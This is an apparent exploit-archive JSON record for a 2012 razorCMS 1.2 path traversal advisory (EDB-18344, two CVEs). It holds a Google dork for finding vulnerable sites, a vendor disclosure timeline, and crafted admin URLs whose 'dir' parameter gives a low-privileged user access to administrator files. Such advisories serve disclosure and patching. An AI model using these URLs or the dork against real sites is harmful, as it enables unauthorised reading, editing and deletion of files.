{"exploit":{"id":"EDB-18344","name":"RazorCMS 1.2 - Directory Traversal","description":"RazorCMS 1.2 - Directory Traversal","cves":["CVE-2012-6038","CVE-2012-5918"],"author":"chap0","published":"2012-01-10","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/18344","path":"exploits/php/webapps/18344.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-18344.txt","vulnerabilities":[{"id":"CVE-2012-6038","state":"PUBLISHED","title":null,"titleSource":null,"description":"admin/core/admin_func.php in razorCMS before 1.2.1 does not properly restrict access to certain administrator directories and files, which allows remote authenticated users to read, edit, rename, move, copy and delete files via the (1) dir parameter in a fileman or (2) filemanview action. NOTE: this issue has been referred to as a \"path traversal.\"","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2012-6038","cvss":{"version":"2.0","baseScore":6.5,"severity":"medium","vectorString":"AV:N/AC:L/Au:S/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2012-6038"},"updatedAt":"2024-08-06T21:21:28.368Z","retrievedAt":"2026-11-27T05:08:44.182Z","stale":false,"error":null},{"id":"CVE-2012-5918","state":"PUBLISHED","title":null,"titleSource":null,"description":"razorCMS 1.2 allows remote authenticated users to access administrator directories and files by creating and deleting a directory.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2012-5918","cvss":{"version":"2.0","baseScore":4,"severity":"medium","vectorString":"AV:N/AC:L/Au:S/C:N/I:P/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2012-5918"},"updatedAt":"2024-09-16T22:30:54.789Z","retrievedAt":"2026-11-27T05:29:18.590Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-18344.png?v=2","url":"https://exploitbin.com/exploits/EDB-18344","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-18344/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-18344/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: razorCMS 1.2 Path Traversal\n# Google Dork: \"Powered by razorCMS\"\n# Date: January 10, 2012\n# Author: chap0\n# Software Link: http://www.razorcms.co.uk/archive/core/\n# Version: 1.2\n# Tested on: Ubuntu\n# Patch: Upgrade to latest release 1.2.1\n# Greetz To: <Insert Name Here>\n\nRazorCMS is vulnerable to Path Traversal, when logged in with\na least privileged user account the user can access the\nadministrator's and super administrator's directories and\nfiles by changing the path in the url. The vulnerabilities exist\nin admin_func.php\n\nPatch Time line:\nDec 11, 2011 - Contacted Vendor\nDec 11, 2011 - Vendor Replied ask for details of vulnerability\nDec 12, 2011 - Submitted details\nDec 13, 2011 - No reply asked for an update\nDec 13, 2011 - Vendor Replied asking for a week or two for a fix after the holiday period\nDec 20, 2011 - Emailed Vendor for an update\nDec 21, 2011 - Vendor confirmed vulnerabilities asked for two weeks time for a fix\nDec 27, 2011 - Emailed vendor some \"temp fixes\" for the vulnerabilities discovered\nJan  3, 2012 - Emailed vendor more \"temp fixes\"\nJan  5, 2012 - Vendor replied sent a new updated file v1 admin_func.php\nJan  5, 2012 - Replied to vendor discovered more vulnerabilities\nJan  6, 2012 - Vendor response with new file with fixes v2 admin_func.php\nJan  6, 2012 - Tested discovered more vulnerabilities\nJan  8, 2012 - Vendor replied with new file v3 admin_func.php\nJan  8, 2012 - Tested, vulnerabilities are fixed reported to vendor\nJan  9, 2012 - Vendor released update 1.2.1\nJan 10, 2012 - Public Disclosure\n\nPath Traversal Details:\n\nThe following files and directories are vulnerable to Path Traversal\nAttack including any files or directories that the admin or super admin\nmay create within these directories\n\nhttp://razorcms-server/admin/?action=filemanview&dir=razor_temp_logs/\nhttp://razorcms-server/admin/?action=filemanview&dir=backup/\nhttp://razorcms-server/admin/?action=filemanview&dir=/razor_data.txt\nhttp://razorcms-server/admin/?action=filemanview&dir=/index.htm\n\n\nhttp://razorcms-server/admin/?action=fileman&dir=razor_temp_logs/\nhttp://razorcms-server/admin/?action=fileman&dir=backup/\nhttp://razorcms-server/admin/?action=fileman&dir=/razor_data.txt\nhttp://razorcms-server/admin/?action=fileman&dir=/index.htm\n\n\nAn example would be if the super admin created a directory within razor_temp_logs\nnamed sekrit which should not be accessible with a least privileged user, the\nleast privileged user can change the path as shown below:\n\nhttp://razorcms-server/admin/?action=filemanview&dir=razor_temp_logs/sekrit/\n\nWhich also works on files within those directories which the user should not have\naccess to which at this point gives the user access to view, edit, rename, move,\ncopy and delete the file.\n\ne.g.\n\nhttp://razorcms-server/admin/?action=filemanview&dir=razor_temp_logs/sekrit/sekrit.txt\n\n\nAnother vulnerability exist in this version of razorCMS, if a least privileged user creates\na directory with their logged in credentials, and then deletes the directory, the user will\nthen have access to the administrative directories and files.","sha256":"5dbf14704453db2ea4b288457a9b8ab586b16ddf18b6e09625fa9224d0350caf","bytes":3105,"fetchedAt":"2026-11-27T05:08:38.502Z","encoding":"utf-8 (display only; download retains original bytes)"}